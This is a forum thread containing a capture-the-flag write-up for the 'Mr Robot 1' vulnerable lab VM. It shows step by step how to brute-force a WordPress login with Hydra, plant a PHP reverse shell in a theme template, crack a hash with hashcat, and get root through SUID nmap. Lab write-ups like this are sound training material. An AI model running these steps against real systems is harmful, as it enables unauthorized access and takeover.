

Forum: [Hack Forums](#)

Thread: [\[WriteUp\] Mr Robot 1 CTF - Enumeration and Exploitation](#)

apt1337 - September 13, 2019, 2:56 pm

Hello! In this thread I'll be covering the enumeration and exploitation of Mr Robot - an intentionally vulnerable linux VM.

There are already walkthroughs for this online, however this is different, this is how I did it and I thought I'd share it with you, enjoy :)

(Beginning, I'm assuming that you already have kali linux on virtual box and are fully updated/upgraded)

To complete this challenge, we need to get 3 keys, all of which require different levels of permission.

You can download Mr Robot here - <https://www.vulnhub.com/entry/mr-robot-1,151/> - and click download Mr-Robot: 1.

Once installed, go ahead and double click the Mr Robot OVA file, and when prompted rename it to Mr Robot and then click import.

Right click Mr Robot and click settings, go to network and change it to host only adapter in the drop down menu - make sure the name aligns with what your kali linux vm is configured, then click ok.

Start Mr Robot by highlighting and clicking start at the top, or double clicking the VM.

After Mr Robot has booted up, switch over to kali linux!

First step we need to find the IP address of Mr Robot so open a terminal and type netdiscover -i eth1 (that's the host only interface).

In my case the IP for Mr Robot is 192.168.56.105, but yours will be different.

Now we're going to perform Enumeration of services with Nmap! Type nmap -A 192.168.56.105< whatever your Mr Robot IP is.

So looks like the only ports that are open are port 443 and port 80, let's take a look at what we can

find in the web browser.

Open firefox in kali and type the Mr Robot IP in the browser. `http:// < < mr robot IP`.

So now we have a 'command line' with a set of commands, I've already checked these commands out and they don't do anything useful for us, so I'm not going to show what they do, however they're really fun so feel free to play around with the commands and see what they do!

Now back to our terminal let's see if we can find anything useful with dirb.
Type `dirb http:// < Mr Robot IP` and hit enter.

After looking through most of these URL's, I'd say the most interesting thing to us is the wordpress login and robots.txt

So let's open both of those url's (`wp-login.php` and `robots.txt`) in the browser.

Now we have a wordpress login page, this is probably going to be our way into Mr Robot, but before we start looking into exploits lets take a look at robots.txt!

So we have a text file named `key-1-of-3.txt` which should have our first key, and `fsociety.dic` which i assume is a dictionary file containing credentials.

Let's check out these files, type `https://192. IP/key-1-of-3.txt` - obviously type your mr robot IP in there - we now have our first key!! Copy this key and save it for later. Now type `https://192. IP/fsociety.dic`, and download and save that file.

Let's go to the terminal and take a look at the `fsociety.dic` file, so type `cd Downloadsto` to navigate to your downloads folder in the terminal.

Now we're going to open `fsociety.dic`, type `"vi fsociety.dic"` and enter, and as you can see we now have a HUGE word list, however a quick analysis of this shows me that there are a ton of repeating words, so what we want to do now is get only the unique ones from the file, so close out of vi now and I'll show you how to do that.

type and press enter the following command: `cat fsociety.dic | sort | uniq > fsocietyuniq`
We have now gone from 858160 words, to 11451 unique words! Now lets direct our attention to the wordpress login.

Open firefox and navigate to the firefox menu, click preferences, we're going to set up our intercepting proxy for burpsuite which will help us analyze the web application, so in the search box type in proxy and click settings, check manual proxy configuration and type 127.0.0.1 in the http proxy box, and port 8080 in the port box, check "use this proxy for all protocols" and make sure that the "no proxy for: " box is completely empty! Now click ok.

Now we're going to load up burpsuite, choose temp project click next, use burp defaults. Click the proxy tab inside burp suite, and for now turn the intercepting proxy OFF.

Now let's navigate to the wordpress login page again and then go back to burpsuite and turn the intercepting proxy ON.

Let's test the username and password input with "test" and "test" in the username/password fields. Click login.

Go back to burpsuite and you can see we now have some parameters, so right click anywhere in the "raw" tab which is the one you're already looking at, and click "send to repeater", now click the repeater tab and click Go.

In the Response tab we scroll down abit and in the error message you can see it specify's what was invalid - which is the username, while the password "test" is correct.

So with that knowledge, we can enumerate valid users by bruteforcing the parameter for usernames, which in this case as you can see on the left in the request tab in the bottom line text is the "log" parameter. We can use that dictionary file that we found to see if we can get any valid usernames out of it, to do this the best thing to use is Hydra which bruteforces services at a reasonably quick pace. Before we do this we're going to copy the log parameters which I'll type below:

```
log=test&pwd=test&wp-submit=Log+In
```

Now, go back to your terminal and `cd Downloads` again so we're in the location that fsocietyuniq is, we're going to use the following command for hydra:

```
hydra -L fsocietyuniq -p test 192.168.56.105 http-post-form  
'/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'
```

Once this has complete, you will see which username it brings back, it's elliot the main character in Mr Robot!

So now let's go back to burpsuite in the repeater, and change "log=test" to "log=elliot", click Go. Looking at the response window scroll down and we see the error message is different now, it says that the password entered for elliot is incorrect, so this indicates that elliot is indeed a valid username but we need the password now.

So, I bet you guessed it, our next step is to bruteforce the password with the same dictionary file! Back to the terminal.

```
hydra -l elliot -P fsocietyuniq 192.168.56.105 http-post-form  
'/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'
```

Let's run this command and bruteforce the password for elliot! Once it's done you should have a password of ER28-0652 ..

So now that we've got a username and password, let's go and try to login to WordPress. First turn off the intercepting proxy in burpsuite then type the username and password that we found in WordPress. Alright, we Succesfully logged in!

Now we need to upload a PHP reverse shell, we can grab one from pentest monkey which is a great resource for all sorts of shells.

pentestmonkey.net/tools/web-shells/php-reverse-shell

Download the php reverse shell and save it. Go to downloads in browser once it's complete and open the containing folder, right click the file and click extract here.

Now back to wordpress, navigate to "Appearance" on the left handside and select Editor, now on the right side under Templates, we're able to replace the 404.php Template with our php code.

Now we want to go and open the reverse shell we downloaded, so open file and navigate to the downloads folder to find our reverse shell, then right click it and select open with text editor. Before we copy the text we want to scroll down and change the IP to the Mr Robot IP and change our port to 4444.

Copy all the text in the file once you've changed the IP and port, and paste it into the 404.php template in WordPress. Now click Upload file!

Okay back to the terminal, we're going to start a netcat listener by typing `nc -nlvp 4444` and enter. Now that we're listening on port 4444, we're going to navigate to that 404.php file that we edited, so go to the browser and type the IP of mr robot and the 404.php file. - 192.168.56.105/404.php

We now have a reverse shell! However we want a tty shell right? So let's spawn a tty shell type the following command:

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

Now we have a tty shell, let's take a look at this directory's starting from home. So type `cd /home`, then type `ls` and enter. We have a directory called robot, so let's go there, `cd /robot`, then type `ls` and enter. So we have 2 files here, one of them is a key, so lets type `cat key-2-of-3.txt...`

As you can see, we can't get that second key yet, we need to escalate our priveleges. Let's take a look at the other file, `cat password.rar-md5`.

Okay so that worked and looks like some kind of password hash with the username robot. Let's highlight and copy that (just the hash).

Now let's open a new terminal (Don't close the one with the shell)

If you haven't done so already, unzip "rockyou.txt" type: `gunzip /usr/share/wordlists/rockyou.txt.gz` and press enter.

Now we're going to attempt to bruteforce this password hash that we just copied! First, let's create a file named "hashez", type `vi hashez` and paste the hash that we just found, save and exit.

Now let's use hashcat:

```
hashcat -a 0 -m 0 hashez /usr/share/wordlists/rockyou.txt --force
```

After a short amount of time we can see the password is cracked and it is the alphabet in all lower case. So let's copy that and go back to our reverse shell. Now let's switch the user to "robot" using the password we just found, type su robot and paste the password. Now that we're logged in as robot we can go grab that keyfile type cat key-2-of-3.txt and we now have 2/3 keyfiles.

Now it's time to get root privileges, so let's run a quick find command to see all the files running as root:

```
find / -perm -4000 -type f
```

As we scroll down the files we can see that nmap is running as root - this is a well known way to escalate to root.

So type in: nmap --interactive

Now type a quick !whoami to confirm we're root, now type !sh

We're now logged in as root, so lets get the final key! type:

```
cd /root
```

```
ls
```

```
cat key-3-of-3.txt
```

Congratulations, you just completed Mr Robot, yay!

apt1337 - September 27, 2019, 9:07 pm

(Sep 27, 2019 04:07 PM)Contrapak Wrote: [\[CITE\]](#) Great thread. Thanks so much!

No problem! Hope it was helpfull. :)